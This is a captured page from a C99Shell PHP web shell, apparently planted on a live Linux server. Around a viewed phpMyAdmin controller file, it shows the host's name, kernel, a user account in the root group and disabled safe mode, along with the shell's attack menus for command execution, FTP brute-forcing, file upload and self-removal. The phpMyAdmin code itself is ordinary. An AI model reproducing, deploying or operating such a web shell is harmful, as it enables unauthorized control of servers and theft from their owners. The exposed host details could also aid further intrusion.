!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Controllers/Table/Structure/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BrowseController.php (2.32 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers\Table\Structure;

use 
PhpMyAdmin\Controllers\Table\AbstractController;
use 
PhpMyAdmin\ParseAnalyze;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Sql;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
__;
use function 
implode;
use function 
sprintf;

final class 
BrowseController extends AbstractController
{
    
/** @var Sql */
    
private $sql;

    public function 
__construct(ResponseRenderer $responseTemplate $templatestring $dbstring $tableSql $sql)
    {
        
parent::__construct($response$template$db$table);
        
$this->sql $sql;
    }

    public function 
__invoke(): void
    
{
        if (empty(
$_POST['selected_fld'])) {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'__('No column selected.'));

            return;
        }

        
$this->displayTableBrowseForSelectedColumns($GLOBALS['goto']);
    }

    
/**
     * Function to display table browse for selected columns
     *
     * @param string $goto goto page url
     */
    
private function displayTableBrowseForSelectedColumns($goto): void
    
{
        
$GLOBALS['active_page'] = Url::getFromRoute('/sql');
        
$fields = [];
        foreach (
$_POST['selected_fld'] as $sval) {
            
$fields[] = Util::backquote($sval);
        }

        
$sql_query sprintf(
            
'SELECT %s FROM %s.%s',
            
implode(', '$fields),
            
Util::backquote($this->db),
            
Util::backquote($this->table)
        );

        
// Parse and analyze the query
        
[$analyzed_sql_results$this->db] = ParseAnalyze::sqlQuery($sql_query$this->db);

        
$this->response->addHTML(
            
$this->sql->executeQueryAndGetQueryResponse(
                
$analyzed_sql_results ?? '',
                
false// is_gotofile
                
$this->db// db
                
$this->table// table
                
null// find_real_end
                
null// sql_query_for_bookmark
                
null// extra_data
                
null// message_to_show
                
null// sql_data
                
$goto// goto
                
null// disp_query
                
null// disp_message
                
$sql_query// sql_query
                
null // complete_query
            
)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--